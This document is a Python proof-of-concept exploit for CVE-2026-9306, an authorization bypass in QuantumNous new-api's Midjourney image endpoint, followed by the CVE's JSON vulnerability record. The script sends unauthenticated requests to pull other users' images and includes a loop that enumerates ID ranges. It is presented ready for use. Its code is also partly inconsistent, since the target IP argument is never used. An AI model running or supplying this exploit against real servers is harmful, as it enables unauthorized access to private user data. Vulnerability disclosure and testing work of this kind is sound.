CVE-2026-9306

import requests # CVE-2026-9306 PoC - QuantumNous new-api Authorization Bypass # Target: QuantumNous new-api <= 0.12.1 # Vulnerability: Unauthenticated access to Midjourney images via RelayMidjourneyImage/GetByOnlyMJId TARGET_URL = "http://target-server/api/relay/midjourney/image" def exploit_cve_2026_9306(target_ip, mj_id): """ Exploit authorization bypass in GetByOnlyMJId function Args: target_ip: Target server IP address mj_id: Valid Midjourney ID (can be enumerated or obtained from logs) Returns: Response content if successful, None otherwise """ # Construct the request without authentication endpoint = f"{TARGET_URL}/GetByOnlyMJId" headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" } # Payload to exploit the authorization bypass payload = { "mjId": mj_id, "onlyMJId": True } try: # Send request without authentication token response = requests.post(endpoint, json=payload, headers=headers, timeout=10) if response.status_code == 200: print(f"[!] Successfully accessed image with MJ ID: {mj_id}") print(f"[*] Response: {response.text[:500]}") return response.json() else: print(f"[*] Status code: {response.status_code}") return None except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}") return None def enumerate_mj_ids(target_ip, start_id=1000, end_id=2000): """ Enumerate valid MJ IDs to find accessible images """ print(f"[*] Enumerating MJ IDs from {start_id} to {end_id}...") for mj_id in range(start_id, end_id): result = exploit_cve_2026_9306(target_ip, str(mj_id)) if result: print(f"[+] Found accessible image: MJ ID {mj_id}") if __name__ == "__main__": # Example usage target = "192.168.1.100" mj_id = "12345" # Replace with actual MJ ID print("CVE-2026-9306 Exploitation") print("=" * 50) exploit_cve_2026_9306(target, mj_id)

{"cve": {"id": "CVE-2026-9306", "sourceIdentifier": "[email protected]", "published": "2026-05-23T16:19:46.860", "lastModified": "2026-05-26T19:50:21.747", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A security vulnerability has been detected in QuantumNous new-api up to 0.12.1. This affects the function RelayMidjourneyImage/GetByOnlyMJId of the file router/relay-router.go of the component Midjourney Image Relay Endpoint. Such manipulation leads to authorization bypass. The attack can be launched remotely. The attack requires a high level of complexity. The exploitability is reported as difficult. The exploit has been disclosed publicly and may be used. The vendor was contacted early about this disclosure but did not respond in any way."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.9, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 3.7, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 1.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:H/Au:N/C:P/I:N/A:N", "baseScore": 2.6, "accessVector": "NETWORK", "accessComplexity": "HIGH", "authentication": "NONE", "confidentialityImpact": "PARTIAL", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "baseSeverity": "LOW", "exploitabilityScore": 4.9, "impactScore": 2.9, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-285"}, {"lang": "en", "value": "CWE-639"}]}], "references": [{"url": "https://gist.github.com/YLChen-007/13974ead25fc6dac42fd7bac62fbb2df", "source": "[email protected]"}, {"url": "https://vuldb.com/submit/812196", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/365253", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/365253/cti", "source": "[email protected]"}]}}